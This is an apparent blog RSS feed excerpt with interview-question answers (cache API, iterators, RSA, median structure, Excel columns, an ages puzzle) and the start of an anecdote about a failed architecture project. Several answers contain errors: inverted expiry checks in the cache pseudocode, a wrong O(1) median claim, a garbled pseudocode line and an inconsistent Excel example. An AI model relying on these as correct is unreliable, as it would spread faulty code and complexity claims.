&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt93&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;93.&lt;/b&gt; Describe an API for a cache, with all of the associated function signatures. Provide pseudocode for the simple one.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt93&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would suggest a typical Hash Table interface since a cache is nothing more regarding its APIs. The bug difference is that a cache is bounded in terms of size. &lt;br&gt;
It has a maximum size with an eviction method (either LRU or LFU).
&lt;/p&gt;
&lt;p&gt;
In addition, a lot of cache implementation support artificial eviction of elements from the cache using:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Maximum Idle Time&lt;/b&gt;: the maximum duration (typically in secs or millisecs) before an element in the cache that hasn&apos;t been used any more is removed from the cache.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Maximum Time To Live&lt;/b&gt;: the absolute maximum time an element is allowed to be kept in the cache before its is removed (no mather whether it has been used or not)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
I would hence suggest as typical API this way (using a Java interface):
&lt;/p&gt;
&lt;pre&gt;
public interface Cache&amp;lt;TKey, TObj&gt; {

    void put (Tkey, TObj);

    TObj get (Tkey);

    boolean contains (Tkey);
}
&lt;/pre&gt;
&lt;p&gt;
In case of an &lt;b&gt;LRU&lt;/b&gt; cache, one could implement get and put this way, usingf pseudo code:&lt;br&gt;
(I asume here we are using both MAX_IDLE_TIME, MAX_TIME_TO_LIVE
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;procedure&lt;/b&gt; get (tKey)
        &lt;b&gt;if&lt;/b&gt; underlyingMap contains tKey &lt;b&gt;then&lt;/b&gt; // one should better get object and compare with null
            lastUsedTime = getLastUsedTimestamp (tKey)
            currentTime = getCurrentTime()
            &lt;b&gt;if&lt;/b&gt; lastUsedTime + MAX_TIME_TO_IDLE &amp;lt; currentTime &lt;b&gt;then&lt;/b&gt;
                cachePutTime = getPutInCacheTimeStamp (tkey)
                &lt;b&gt;if&lt;/b&gt; cachePutTime + MAX_TIME_TO_LIVE &amp;lt; currentTime &lt;b&gt;then&lt;/b&gt;
                    return underlyingMap.get (tKey)
                &lt;b&gt;end if&lt;/b&gt;
            &lt;b&gt;end if&lt;/b&gt;
            // I assume cache eviction following time limits is passive
            // If I reach this point I can get rid of the element anyway
            removeFromCache (tKey) // needs to remove tStamps as well
        &lt;b&gt;end if&lt;/b&gt;
        &lt;b&gt;return&lt;/b&gt; NULL;
   &lt;b&gt;end proc&lt;/b&gt;

   &lt;b&gt;procedure&lt;/b&gt; put (tkey, tObj)
       underlyingMap.put (tkey, tObj)
       currentTime = getCurrentTime()
       saveLastUsedTimeStamp (tKey, currentTime)
       savePutInCacheTimeStamp (tKey, currentTime)
       &lt;b&gt;if&lt;/b&gt; (underlyingMap.size() &gt; MAX_CACHE_SIZE) &lt;b&gt;then&lt;/b&gt;
           removeLeastRecentlyUsed()
       &lt;b&gt;end if&lt;/b&gt;
   &lt;b&gt;end proc&lt;/b&gt;
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt94a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;94.a.&lt;/b&gt; Implement a special type of integer iterator. It will be a wrapper over a regular integer iterator, except that this iterator will only iterate over negative numbers. &lt;br&gt;
Show how you&apos;d write the next() and hasNext() functions to work with the next negative integer instead of just the next integer. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt94a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
One can generalize this to a filtering iterator. &lt;br&gt;
A simplified version of a filtering iterator is as follows:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public abstract class&lt;/b&gt; FilteringIterator&amp;lt;Type&gt; &lt;b&gt;implements&lt;/b&gt; Iterator&amp;lt;Type&gt; {

    &lt;b&gt;private&lt;/b&gt; Iterator&amp;lt;Type&gt; model = &lt;b&gt;null&lt;/b&gt;;
    &lt;b&gt;private&lt;/b&gt; Type prefetched = &lt;b&gt;null&lt;/b&gt;;

    &lt;b&gt;public&lt;/b&gt; FilteringIterator(Iterator&amp;lt;Type&gt; model) {
        this.model = model;
    }

    &lt;b&gt;public boolean&lt;/b&gt; hasNext() {

        if (this.prefetched != null) {
            &lt;b&gt;return true&lt;/b&gt;;
        }
        
        // so, prefetched == null
        &lt;b&gt;while&lt;/b&gt; (model.hasNext()) {
            Type o = model.next();
            &lt;b&gt;if&lt;/b&gt; (this.shouldShow(o)) {
                this.prefetched = o;
                &lt;b&gt;return true&lt;/b&gt;;
            }
        }
        
        &lt;b&gt;return false&lt;/b&gt;;        
    }

    &lt;b&gt;public&lt;/b&gt; Type next() {
        &lt;b&gt;if&lt;/b&gt; (this.prefetched == null &amp;&amp; !this.hasNext()) { // has next will set prefetched for the below
            &lt;b&gt;throw new&lt;/b&gt; NoSuchElementException();
        }        
        Type ret = this.prefetched;
        this.prefetched = null;
        &lt;b&gt;return&lt;/b&gt; ret;
    }

    &lt;b&gt;protected abstract boolean&lt;/b&gt; shouldShow(Type o);
}
&lt;/pre&gt;
&lt;p&gt;
Then one is left with implementing the filter method &lt;code&gt;shouldShow()&lt;/code&gt; this way:
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;protected boolean&lt;/b&gt; shouldShow(Integer o) {
        &lt;b&gt;return&lt;/b&gt; o.intValue() &amp;lt; 0;
    }
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt94b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;94.b.&lt;/b&gt; How would you implement an Iterator for Binary tree inOrder traversal 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt94b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The idea consists in merging the iterative inOrder algorithm with the next() method of the iterator:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;The &lt;i&gt;&quot;visit&quot;&lt;/i&gt; operation consists in stopping the inOrder iteration and returning the result.
    &lt;li&gt;Upon a call to next, resume the inOrder algorithm iterations.
&lt;/ul&gt;
&lt;p&gt;
Assuming a tree node is defined with:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;code&gt;node.left&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;node.information&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;node.right&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
One can write it this way in Java
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; InOrderIterator&amp;lt;E extends Comparable&amp;lt;? &lt;b&gt;super&lt;/b&gt; E&gt;&gt; &lt;b&gt;implements&lt;/b&gt; Iterator&amp;lt;E&gt; {
    
    &lt;b&gt;private&lt;/b&gt; LinkedList&amp;lt;Node&amp;lt;E&gt;&gt; parentStack = &lt;b&gt;new&lt;/b&gt; LinkedList&amp;lt;Node&amp;lt;E&gt;&gt;();    
    &lt;b&gt;private&lt;/b&gt; Node&amp;lt;E&gt; node = &lt;b&gt;null&lt;/b&gt;;    
    &lt;b&gt;private&lt;/b&gt; E current = &lt;b&gt;null&lt;/b&gt;; 
    
    &lt;b&gt;public&lt;/b&gt; InOrderIterator (Node root) {
        &lt;b&gt;this&lt;/b&gt;.node = root;
        fetchNext();
    }

    &lt;b&gt;public boolean&lt;/b&gt; hasNext() {
        &lt;b&gt;return&lt;/b&gt; current != null;
    }

    &lt;b&gt;public&lt;/b&gt; E next() {
        E retValue = current;
        
        &lt;b&gt;if&lt;/b&gt; (parentStack.isEmpty() &amp;&amp; node == null) {
            current = null;
        }
                
        fetchNext();

        &lt;b&gt;if&lt;/b&gt; (retValue != null) {
            &lt;b&gt;return&lt;/b&gt; retValue;
        } &lt;b&gt;else&lt;/b&gt; {        
            &lt;b&gt;throw new&lt;/b&gt; NoSuchElementException();
        }
    }
    
    &lt;b&gt;private void&lt;/b&gt; fetchNext() {
        &lt;b&gt;while&lt;/b&gt; (!parentStack.isEmpty() || node != &lt;b&gt;null&lt;/b&gt;) {
            &lt;b&gt;if&lt;/b&gt; (node != &lt;b&gt;null&lt;/b&gt;) {
                parentStack.add(node);
                node = node.left;
            } &lt;b&gt;else&lt;/b&gt; {
                node = parentStack.removeLast();
                
                // visit
                current = node.information;
                
                node = node.right;                
                &lt;b&gt;break&lt;/b&gt;;
            }
        }
    }
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt95&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;95.&lt;/b&gt; You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt95&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;ul&gt;
  &lt;li&gt;A simple hash could do the trick. On a computer SHA-256. By hand MD5 or something as simple as a sum ...&lt;/li&gt;
  &lt;li&gt;Otherwise an RSA Public encryption / Private decryption. Along with the card to Bob you send the public key to be used for the encryption.
  &lt;li&gt;Others such that Diffie-Hellman key exchange seems unappliable due to the requirement of more than one exchange to set up the communication.
&lt;/ul&gt;
Every other idea of a &quot;sufficiently secure&quot; one way function seems to be acceptable.
&lt;p&gt;
&lt;b&gt;Just a reminder on the RSA algorithm:&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Security relies on the concept of a TOW (Trapdoor One-Way function) and the difficulty to factoriue large number.
&lt;/p&gt;
&lt;p&gt;
Key generation:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Generate 2 prime numbers p and q (&gt;= 512 bit each)&lt;/li&gt;
    &lt;li&gt;Compute n = pq&lt;/li&gt;
    &lt;li&gt;Choose a small number e which is not a divisor of fi(n) = (p - 1)(q - 1) &lt;br&gt;
        =&gt; e in Z_fi(n)*
        &lt;ul&gt;
            &lt;li&gt;numer of different possible e : fi(fi(n))&lt;/li&gt;
            &lt;li&gt;e is inversible mod fi(n)&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/li&gt;
    &lt;li&gt;Compute d = e^(-1) (mod fi(n))&lt;/li&gt;
    &lt;li&gt;Define : (n, e) = RSA Public Key&lt;/li&gt;
    &lt;li&gt;Define : (n, d) = RSA Private Key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Encryption : Compute c = m^e (mod n)
&lt;/p&gt;
&lt;p&gt;
Decryption : Compute m = c^d (mod n)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt96&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;96.&lt;/b&gt; Describe a data structure that accomplishes the functions INSERT and FIND-MEDIAN in the best possible asymptotic time.&lt;br&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt96&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Real solution using a balanced-binary search tree&lt;/b&gt;
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;We use a binary search tree that is balanced (AVL/Red-Black/etc), So adding an item is O(log n)&lt;/li&gt;
    &lt;li&gt;One modification to the tree: for every node we also store the number of nodes in its subtree. This doesn&apos;t change the complexity. &lt;br&gt;
        (For a leaf this count would be 1, for a node with two leaf children this would be 3, etc)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
This implies:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;-&gt; When ading an element, the count for each traversed node is incremented by 1&lt;/li&gt;
   &lt;li&gt;-&gt; The usual rotation algorithms need to be adapted as well in order to adapt the count of the moved nodes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;b&gt;Note : &lt;/b&gt;We can now access the Kth smallest element in O(log n) using these counts:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; get_kth_item(subtree, k)
  &lt;b&gt;if&lt;/b&gt; subtree.left is null &lt;b&gt;then&lt;/b&gt;
      left_size = 0
  &lt;b&gt;else&lt;/b&gt;
      left_size = 0 subtree.left.size

  &lt;b&gt;if&lt;/b&gt; k &amp;lt; left_size &lt;b&gt;then&lt;/b&gt;
      &lt;b&gt;return&lt;/b&gt; get_kth_item(subtree.left, k)
  &lt;b&gt;else if&lt;/b&gt; k == left_size &lt;b&gt;then&lt;/b&gt;
      &lt;b&gt;return&lt;/b&gt; subtree.value
  &lt;b&gt;else&lt;/b&gt; # k &gt; left_size
      &lt;b&gt;return&lt;/b&gt; get_kth_item(subtree.right, k-1-left_size)
&lt;/pre&gt;
&lt;p&gt;
A median is a special case of Kth smallest element (given that you know the size of the set).
&lt;br&gt;
So all in all this is another O(log n) solution.
&lt;/p&gt;
&lt;p&gt;
In conclusion with such a data structure:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;b&gt;Insertion takes still O(log n)&lt;/b&gt; since incrementing the count only adds a constant factor&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Find median takes O(1)&lt;/b&gt; : &lt;br&gt;
        &lt;ul&gt;
            &lt;li&gt;either both sides of the root have same count =&gt; root is median (O(1))
            &lt;li&gt;either left side has more nodes =&gt; an easy algorithm can return the median from the left sub-tree (O(1))&lt;/li&gt;
            &lt;li&gt;eithre right side has more nodes =&gt; same thing&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/li&gt;
    &lt;li&gt;Find kth element takes O(log n)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;b&gt;Note : If the low insertion time constraint is released, another solution for FIND-MEDIAN&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
If only FIND-MEDIAN is important, one can simply maintain two sorted lists kept the same size.
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;At all time, the median is stored in a variable.&lt;/li&gt;
    &lt;li&gt;left list stores element below the median while right list stores element above the median&lt;/li&gt;
    &lt;li&gt;After an insertion, of one list&apos;s sizes becomes bigger that the other, then the current median is added to the other list and the new median is poped from the bigger list.&lt;br&gt;
        (at end of the left list or beginning of the right list)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt97&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;97.&lt;/b&gt; Write a function (with helper functions if needed) called toExcel that takes an excel column value (A,B,C,D,...,AA,AB,AC,...,AAA,..) and returns a corresponding integer value (A=1,B=2,...,AA=26,...)?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt97&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In java:
&lt;/p&gt;
&lt;pre&gt;
    &lt;b&gt;public static int&lt;/b&gt; fromExcelColumn (String columnLabel) {
        // sanitizing
        &lt;b&gt;if&lt;/b&gt; (columnLabel == &lt;b&gt;null&lt;/b&gt; || columnLabel.trim().length() == 0) {
            &lt;b&gt;return&lt;/b&gt; 0;
        }
        String label = columnLabel.trim().toUpperCase();
        &lt;b&gt;int&lt;/b&gt; retValue = 0;
        // algorithm
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; label.length(); i++) {
            retValue = (retValue * 26) + (label.charAt(i) - &apos;A&apos; + 1)  ;
        }
        &lt;b&gt;return&lt;/b&gt; retValue;
    }
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt98&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;98.&lt;/b&gt; What would you do if senior management demanded delivery of software in an impossible deadline?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt98&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
First I would point out the The Project Management Triangle (called also Triple Constraint). This is a model of the constraints of project management: &lt;br&gt;
&lt;b&gt;TIME&lt;/b&gt; - &lt;b&gt;COST&lt;/b&gt; - &lt;b&gt;SCOPE&lt;/b&gt;. 
&lt;/p&gt;
&lt;p&gt;
These three variables cannot be all the three together arbitrarily decided, only two at a times. It basically states that management can fix two of these variables. The third one is then implied. 
&lt;/p&gt;
&lt;p&gt;
I would point ou a warning though: rather sacrifice the scope than the expected cost to ensure the delivery date since adding manpower to a project that is already late only makes it worst (Mythical man month - Brooks - 9 women cannot make a baby in one month.).
&lt;/p&gt;
&lt;p&gt;
One should not that XP adds one variable to them:&lt;br&gt;
&lt;b&gt;TIME&lt;/b&gt; - &lt;b&gt;COST&lt;/b&gt; - &lt;b&gt;SCOPE&lt;/b&gt; - &lt;b&gt;QUALITY&lt;/b&gt; &lt;br&gt;
The principle is other than that almost the same.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt99&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;99.&lt;/b&gt; How Old Are My Children? Knowing:&lt;br&gt;
A) The product of their ages is 72 and the sum of their ages is the same as your birth date.&lt;br&gt;
B) ... I still don&apos;t know .&lt;br&gt;
A) My eldest kid just started taking piano lessons.&lt;br&gt;
B) Now I know :-)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt99&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Let&apos;s break it down. The product of their ages is 72. So what are the possible choices?
&lt;/p&gt;
&lt;p&gt;
2, 2, 18 =&gt; sum(2, 2, 18) = 22&lt;br&gt;
2, 4, 9 =&gt; sum(2, 4, 9) = 15&lt;br&gt;
2, 6, 6 =&gt; sum(2, 6, 6) = 14&lt;br&gt;
2, 3, 12 =&gt; sum(2, 3, 12) = 17&lt;br&gt;
3, 4, 6 =&gt; sum(3, 4, 6) = 13&lt;br&gt;
3, 3, 8 =&gt; sum(3, 3, 8 ) = 14&lt;br&gt;
1, 8, 9 =&gt; sum(1,8,9) = 18&lt;br&gt;
1, 3, 24 =&gt; sum(1, 3, 24) = 28&lt;br&gt;
1, 4, 18 =&gt; sum(1, 4, 18) = 23&lt;br&gt;
1, 2, 36 =&gt; sum(1, 2, 36) = 39&lt;br&gt;
1, 6, 12 =&gt; sum(1, 6, 12) = 19
&lt;/p&gt;
&lt;p&gt;
The sum of their ages is the same as your birth date. That could be anything from 1 to 31 but the fact that Jack was unable to find out the ages, it means there are two or more combinations with the same sum. From the choices above, only two of them are possible now.
&lt;/p&gt;
&lt;p&gt;
2, 6, 6 - sum(2, 6, 6) = 14&lt;br&gt;
3, 3, 8 - sum(3, 3, 8 ) = 14
&lt;/p&gt;
&lt;p&gt;
Since the eldest kid is taking piano lessons, we can eliminate combination 1 since there are two eldest ones. &lt;b&gt;The answer is 3, 3 and 8.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://mathforum.org/library/drmath/view/58492.html&quot;&gt;http://mathforum.org/library/drmath/view/58492.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
Don&apos;t hesitate to leave a comment or contact me should you see any error in here, or any improvement, better solution, etc. and I&apos;ll update the post accordingly.
&lt;/p&gt;

</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/funny_developer_tale</guid>
    <title>Funny developer tale</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/funny_developer_tale</link>
        <pubDate>Thu, 6 May 2010 17:03:06 -0400</pubDate>
    <category>Computer Science</category>
    <category>software-development</category>
    <category>waterfall</category>
    <atom:summary type="html">&lt;p&gt;
I&apos;ve been working a few years ago on an architectural concept for some very specific piece of software my former company had to develop. The technical challenges were huge and the field was pretty complex. In addition, the timeframe was very little and we have had to rush a lot to get it ready and prototyped in time. 
&lt;/p&gt;
&lt;p&gt;
In the end we screwed up ... totally. The concept was miles away from what was required and we pretty much had to start it all over. Months of work were just good enough to be thrown away with the trash.
&lt;/p&gt;
&lt;p&gt;
Not used at all to such failures, I decided to take some time to understand what happened, what went wrong.
&lt;/p&gt;
&lt;p&gt;
My investigations led to the following story, a pretty funny though quite common developer tale.
&lt;/p&gt;</atom:summary>        <description>&lt;p&gt;
I&apos;ve been working a few years ago on an architectural concept for some very specific piece of software my former company had to develop. The technical challenges were huge and the field was pretty complex. In addition, the timeframe was very little and we have had to rush a lot to get it ready and prototyped in time. 
&lt;/p&gt;
&lt;p&gt;
In the end we screwed up ... totally. The concept was miles away from what was required and we pretty much had to start it all over. Months of work were just good enough to be thrown away with the trash.
&lt;/p&gt;
&lt;p&gt;
Not used at all to such failures, I decided to take some time to understand what happened, what went wrong.
&lt;/p&gt;
&lt;p&gt;
My investigations led to the following story, a pretty funny though quite common developer tale :
&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;First there was the IT management which wanted to replace old technologies which were soon going to lack a proper support from the editors with brand new cutting edge technologies. They decided to build a team intended to replace the legacy system by a new one, taking that opportunity to refactor a few things the company was suffering with the legacy system. 
&lt;br&gt;
The IT management designated a project management for the team and told them to go seeking for information on what needs to be done by the new system and how to do it.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
The project management put in place a few meetings with various stakeholders.&lt;br&gt;
They first met the business users trying to get the business needs. Business users are busy people. They don&apos;t have time to spend days in meetings. So instead of telling about the legacy system and what it&apos;s doing, they told about what they wanted differently in the new system and what they wanted in addition (that leap not being obvious of course).
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
A bit puzzled, the project management then went to the sysadmins of the legacy system. The guys all have long beards and white hairs and were really not enthusiastic at all about replacing the system they were working on for the last ten years and they knew so well. They were definitely not open to provide any help in getting rid of what gives them a job And feeds their family (that reluctance not being obvious of course).
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
More puzzled, the project management went to the team leaders of the development teams working on the legacy system. The guys all only had a very scarce view of the system functionalities, the big picture being spread amongst all the development teams. Even worst, in their own private field, they had obsolete views on pretty much everything. The system growing in complexity and their respective teams growing in head count, it soon became impossible for them to stay aware of what was being implemented on the system. Yet they are the funder of that system and not willing at all to admit their knowledge is obsolete. 
&lt;br&gt;
Being nice guys, they spent all the required time with the project management feeding them with wrong information most of the time and obsolete in any case.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
Finally, the project management spent time finding all the documentation they could about the legacy system. Yet again, that documentation was either inexistant or obsolete (I mean not just a bit, the latest document they found was 6 years old) and wrong.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
And so they figured they did all they could and that it was about time to get the project moving. They took quite a great deal of time writing specifications with what they understood. Then, sure as hell the document is as complete as possible, they went to the architecture team.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
This is where my team kicked in. The project management came to us with the specification document and asked us to come up with an architectural concept enabling the future development teams to start the migration of the legacy system to the new technologies. We were all quite experienced and smart engineers cumulating all together a lot of experience. 
&lt;br&gt;
I do believe experienced architects have one serious drawback (although lots of qualities as well). They tend uncounsciously to fill the voids in specification with what they already know on the kind of the system they are trying to build, assuming they know how it should work and what it should do. This is unfortunately very rarely the case and I know now that one of the most important values an architect should embrace is not to leave any room to uncertainty. 
&lt;br&gt;
Nevertheless we took good care in reading the specifications and discussing the document with our management. Once we figured we had a pretty clear view of what we&apos;ve been asked to achieve, we put ourselves at work.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
A few months later, we were there staring at our architecture, damn sure everything is well thought out and quite clever. So we went further to the developers and built a little team which we asked to write a few prototypes on top of this architecture. We&apos;re smart guys, right ? Why the hell should we need specifications for these prototypes ? Let&apos;s be agile.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
Finally the development team put itself at work. They wrote the prototypes in a few weeks and got back to us when they were done. We looked at those prototypes and, besides a few things, we figured they were more or less in the scope, at least definitely enough to be presented to the stakeholders. 
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
We went back to the project management and showed them the prototypes. They appeared quite happy and decided to present them to the stakeholders.
&lt;br&gt;
&lt;/li&gt;

&lt;li&gt;
The presentation was set up. This time, in addition to the grinchy sysadmins, the development team leaders and the busy business users, a lot of the legacy system developers were here as well. The presentation began and all went ugly, really really bad. The concept was so far from what it was supposed to be and do, it all turned to a giant riot. People were shouting, yelling and very soon no one was happy anymore.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
And how could it have been any different ? 
&lt;/p&gt;
&lt;p&gt;
There has been what was told to the project management, what the project management understood, what the project management told us, what we understood, what we designed, what we explained of the design to the developers, what the developers understood, what the developers implemented, and finally what was presented to the stakeholders ... How can such a project eventually succeed ?
&lt;/p&gt;
&lt;p&gt;
They say a little picture is worth a thousand words. I found this pictures which I believe summarize pretty good this very issue :
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;table class=&quot;nicewithborder centered&quot;&gt;

&lt;tr&gt;
&lt;td class=&quot;story firstleft&quot;&gt;
&lt;img alt=&quot;How the customer explained it&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e56db741-1551-42cc-a103-8420cf45b62b&quot;/&gt;
&lt;/td&gt;&lt;td class=&quot;story firstright&quot;&gt;
&lt;img alt=&quot;How the project leader understood it&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/652e1fbf-2933-43b6-b305-1878b9fd56d7&quot;/&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story secondleft&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the customer explained it&lt;/span&gt;
&lt;/td&gt;&lt;td class=&quot;story secondright&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the project leader understood it&lt;/span&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story firstleft&quot;&gt;
&lt;img alt=&quot;&gt;How the Architect designed it&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/cff5c667-4291-4ae2-b279-5f736f27e454&quot;/&gt;
&lt;/td&gt;&lt;td class=&quot;story firstright&quot;&gt;
&lt;img alt=&quot;How the Programmer wrote it&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/43e8e19a-7536-4ddb-ba23-aa1e6964a4a2&quot;/&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story secondleft&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the Architect designed it&lt;/span&gt;
&lt;/td&gt;&lt;td class=&quot;story secondright&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the Programmer wrote it&lt;/span&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story firstleft&quot;&gt;
&lt;img alt=&quot;How the Business Consultant described it&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/e9be12db-ec7b-423e-94e6-e69c5ee166e7&quot;/&gt;
&lt;/td&gt;&lt;td class=&quot;story firstright&quot;&gt;
&lt;img alt=&quot;How the project was documented&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/cafdde7e-c441-44c4-83e8-a5ab20f24b00&quot;/&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story secondleft&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the Business Consultant described it&lt;/span&gt;
&lt;/td&gt;&lt;td class=&quot;story secondright&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the project was documented&lt;/span&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story firstleft&quot;&gt;
&lt;img alt=&quot;What operations were actually installed&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/797a745c-a160-4986-86f8-9b8195ddd87a&quot;/&gt;
&lt;/td&gt;&lt;td class=&quot;story firstright&quot;&gt;
&lt;img alt=&quot;How the Customer was billed&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/d615fd7f-2ce0-4481-b21b-0ac637c7f90d&quot;/&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story secondleft&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;What operations were actually installed&lt;/span&gt;
&lt;/td&gt;&lt;td class=&quot;story secondright&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How the Customer was billed&lt;/span&gt;
&lt;/td&gt;
&lt;/tr&gt;

